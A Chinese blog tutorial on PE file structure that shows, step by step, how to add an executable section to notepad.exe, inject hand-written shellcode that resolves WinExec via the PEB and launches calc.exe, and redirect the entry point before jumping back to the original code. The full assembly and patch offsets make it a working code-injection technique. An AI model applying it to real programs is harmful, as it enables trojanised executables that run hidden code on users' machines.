修改记事本PE结构弹计算器Shellcode

目录

修改记事本PE结构弹计算器Shellcode

0x00 前言

在上一篇文章中介绍了PE节表的分析,这篇文章主要是对其进行手动实验来加深对节表的理解,并且这里用一个记事本的例子做演示,我们用Winhex软件通过修改、添加十六进制数据让记事本一启动就能弹出计算器。

整体的思路是:给记事本添加一个节,节内添加弹计算器Shellcode十六进制+jmp到原OEP(程序入口点),修改OEP指向->新区段位置。运行记事本让其弹计算器。

0x01 添加新节

首先需要找一个32位的记事本,我这里用的是xp系统下的notepad.exe

修改节数量

第一步我们先修改节数量,之前都有介绍节数量在标准PE头中的NT标识后4个字节,这里原本是3我们将其改成4。

修改记事本PE结构弹计算器Shellcode

节表位置

节表位置在可选PE头下面,所以我们先找到可选PE头,并且找到可选PE头的大小就能找到节表位置了。可选PE头大小在NT标识开始0x14字节位置。

修改记事本PE结构弹计算器Shellcode

添加新节表信息

新节信息的位置应该在节表数量*3的位置即:节表开始处+(3 x 0x28=0x78处),一个节信息固定大小0x28

然后我们将荧光笔中的数据覆盖成我们新节的信息。

修改记事本PE结构弹计算器Shellcode

新节名就叫.hack把,hack节哈哈挺酷。然后节在内存中大小就设成0x1000,新节在内存中的位置为0x13000

这个0x13000即新节位置是根据:之前最后一个节(内存中节位置+对其后节大小)计算出来的,可以根据我们上篇文章写的工具来进行分析。

0xb000+0x8000等于0x13000,所以这是新节位置。这里一定不要算错了要不然程序会崩溃。

修改记事本PE结构弹计算器Shellcode

接着是文件中节的大小即对其后节的大小0x1000刚好对其,所以也设置成0x1000。接着是新节在文件中的位置,这里同样我们得到之前最后一个节在文件中的偏移,然后再加上文件中节大小就是其新节位置了。

(新节在文件中的位置)0x8400+0x8000=0x10400,然后其余还有4各成员数据默认都设置成0x00,最后一个比较关键之前也讲过他是节的属性,决定了改节是否可读、写、执行。

在这里我们直接将他设置成代码段的属性(包含可执行代码),(可读),(可执行)0x60000020。这里不懂的可以复习下PE节表的详细分析

新节信息
Name .hack
VirtualSize(内存中大小) 0x1000
VirtualAddress(内存中偏移) 0x13000
SizeOfRawData(文件中大小) 0x1000
PointerToRawData(文件中偏移) 0x10400
PointerToRelocations 0x00000000
PointerToLinenumbers 0x00000000
NumberOfRelocations 0x0000
NumberOfLinenumbers 0x0000
Characteristics(标志节属性) 0x60000020

最后在0x104000位置添加0x1000数据,也就是文件末尾处我们添加0x1000个0的数据。

先用Winhex新建一个0x1000的文件

修改记事本PE结构弹计算器Shellcode

然后复制数据到notepad.exe文件末尾处。

修改记事本PE结构弹计算器Shellcode

修改记事本PE结构弹计算器Shellcode

至此新节添加完毕,我们可以来添加shellcode了。

0x02 添加弹计算器Shellcode

好了到这里我们可以来添加我们的Shellcode了,首先我们需要用汇编写一个弹计算器的代码,然后将其转换成十六进制。

.386
.model flat,stdcall

; 代码区域
.code

main:
	push ebp
	mov ebp,esp
	sub esp,20h; 开辟栈空间
    ;获取Kernel32基址
	assume fs:nothing
	mov eax,[fs:30h]; peb结构所在地址
	mov eax,[eax+0Ch]; Ldr
	mov eax,[eax+1Ch]; 指向ntdll
	mov eax,[eax]; 指向kernelbase
	mov eax,[eax]; 指向kernel32
	mov eax,[eax+08h]; BaseAddress
    ;遍历kernel32导出函数	
	;初始化栈空间用来保存变量
	mov DWORD PTR[ebp-04h],0; 用来存放导出函数“地址表”
	mov DWORD PTR[ebp-08h],0; 用来存放导出函数“名称表”
	mov DWORD PTR[ebp-0Ch],0; 用来存放导出函数“序号表”
	
	; 解析PE结构获取导出表结构实际地址
	mov ebx,DWORD PTR[eax + 3Ch]   ; NT头偏移地址
	lea ebx,DWORD PTR[ebx + eax]   ; NT头VA
	mov ebx,DWORD PTR[ebx + 78h]   ; 导出表结构VirtualAddress
	lea edx,DWORD PTR[ebx + eax]   ; 导出表结构实际地址
	
	; 获取导出函数地址表VA
	mov ebx,DWORD PTR[edx + 1Ch]   ; AddressOfFunctions 偏移
	lea ebx,DWORD PTR[ebx + eax]   ; AddressOfFunctions 实际地址
	mov DWORD PTR[ebp - 04h],ebx   ; 保存到局部变量
	
	; 获取导出函数名称表VA
	mov ebx,DWORD PTR[edx + 20h]   ; AddressOfNames 偏移
	lea ebx,DWORD PTR[ebx + eax]   ; AddressOfNames 实际地址
	mov DWORD PTR[ebp - 08h],ebx   ; 保存到局部变量
	
	; 获取导出函数序号表VA
	mov ebx,DWORD PTR[edx + 24h]   ; AddressOfNameOrdinals 偏移
	lea ebx,DWORD PTR[ebx + eax]   ; AddressOfNameOrdinals 实际地址
	mov DWORD PTR[ebp - 0Ch],ebx   ; 保存到局部变量
	
	; 开始遍历三张表,找到目标函数地址
	mov edi,DWORD PTR[edx + 18h]   ; NumberOfNames循环次数
	xor ecx,ecx		       ; 清空ecx,作为循环计数
	mov esi,DWORD PTR[ebp - 08h]   ; 暂存导出函数名称表 实际地址	
_ExportName:
	mov ebx,DWORD PTR[esi + ecx * 4];函数名称 偏移地址
	lea ebx,DWORD PTR[ebx + eax]; 获取第n个导出函数的名称 实际地址

	; 判断函数名称  
	mov ebx,[ebx]
	cmp ebx,456E6957h;判断是否WinE
	je _FindFunc

	;自增1,开始下一次遍历
	inc ecx;
	jmp _ExportName
	
_FindFunc:
	;找到目标函数,获取该函数地址VA
	mov ebx,DWORD PTR[ebp - 0Ch]    ; 序号表 实际地址
	xor edx,edx		        ; 注意序号表是2字节数组
	mov dx,WORD PTR[ebx + ecx * 2]  ; 获取对应序号表中保存的值
	mov ebx,DWORD PTR[ebp - 04h]    ; 地址表 实际地址
	mov ebx,DWORD PTR[ebx + edx * 4]; 地址表中,目标函数地址 偏移地址
	lea eax,DWORD PTR[ebx + eax]    ; 目标函数实际地址;
; 调用函数
	jmp _gotFunc
	g_str db "calc.exe"
	g_stop db 0
_gotFunc:	call $+5
	pop ebx;获取eip
	sub ebx,0Eh
	push 5h
	push ebx
	call eax
	; 恢复函数栈帧
	mov esp,ebp
	pop ebp
	ret
end main

end 

用MASM套件中的ml将其编译成可执行文件,这里我推荐用RadASM这工具来写Windows汇编代码,他是一个专门用来写汇编的IDE非常好用 YYDS!

修改记事本PE结构弹计算器Shellcode

修改记事本PE结构弹计算器Shellcode

然后我们用Winhex打开这个编译好的exe提取他代码段中的数据作为Shellcode。

修改记事本PE结构弹计算器Shellcode

修改代码

然后我们需要将代码在改一改,比如在shellcode的最后一个地方C3这里对应的汇编代码是ret这样会让程序返回到调用的地方,这里我需要将其改成nop即:0x90。

0040101D| C3  ret
;C3改为如下90
0040101D| 90  nop

然后我们还要跳回到原来的入口点,这样程序才能正常执行他原本的功能。

跳转的代码是jmp,然后我们需要计算出当前位置距离OEP的位置,目前还不知道距离所以先写jmp 0x0000000来代替即E9 00 00 00 00

我们先把Shellcode覆盖到新节的位置,利用WinHex的写入hex数据来覆盖之前的0数据。

修改记事本PE结构弹计算器Shellcode

修改记事本PE结构弹计算器Shellcode

覆盖后的shellcode。

修改记事本PE结构弹计算器Shellcode

0x03 修改入口点

在最后我们需要修改入口点来使的notepad.exe一开始就先执行我们的shellcode代码,不知道怎么改入口点的读者可以看看我之前写的文章PE头详细分析

原来的入口点地址为:0x0000739D

修改记事本PE结构弹计算器Shellcode

修改为shellcode处的入口点:0x00010400

修改记事本PE结构弹计算器Shellcode

计算跳转OEP偏移

好了在最后我们需要把E9 00000000中的数据给填上,才能真正的完成。计算公式为:(原OEP)-((当前地址)+5)

先把光标停在E9处,然后Winhex中显示地址为0x1049F,那么我们可以把公式中的当前地址改成0x1049F,即(0x0000739D)-((0x1049F)+5)

修改记事本PE结构弹计算器Shellcode

最后利用Python来计算下偏移,算出来是负数的因为他要往上跳,正常是应该为负数。

修改记事本PE结构弹计算器Shellcode

然后用最终用计算器将其转换成十六进制,并且我们取他的4字节就行。

修改记事本PE结构弹计算器Shellcode

最后我们把地址给填上,收工完成。

修改记事本PE结构弹计算器Shellcode

0x04 bug修复

哈哈哈哈果然没有那么幸运,我一运行时候发现程序报错了。

修改记事本PE结构弹计算器Shellcode

然后仔细研究后发现,SizeofImage这个值我没有改,得把他改成添加节后的大小0x14000

还有就是入口点偏移没算对,因为我发现新的段在内存中不在0x14000,而是在0x13000,应该是我们没有把之前那个段填对其,导致我们新加的段被他对其,所以地址就变成了0x13000。

修改记事本PE结构弹计算器Shellcode

这里我计算出新的偏移:0xFFFF42F9

修改记事本PE结构弹计算器Shellcode

修改记事本PE结构弹计算器Shellcode

修复后winhex中的地址。

修改记事本PE结构弹计算器Shellcode

最后把入口点也修复成:0x13000

修改记事本PE结构弹计算器Shellcode

0x05 验证结果

修改记事本PE结构弹计算器Shellcode

修改记事本PE结构弹计算器Shellcode

欢迎各位加群:

修改记事本PE结构弹计算器Shellcode

上一篇:python里面id()函数可以从变量名获得地址,那么怎么从地址(id)获得地址对应的值呢


下一篇:python调用go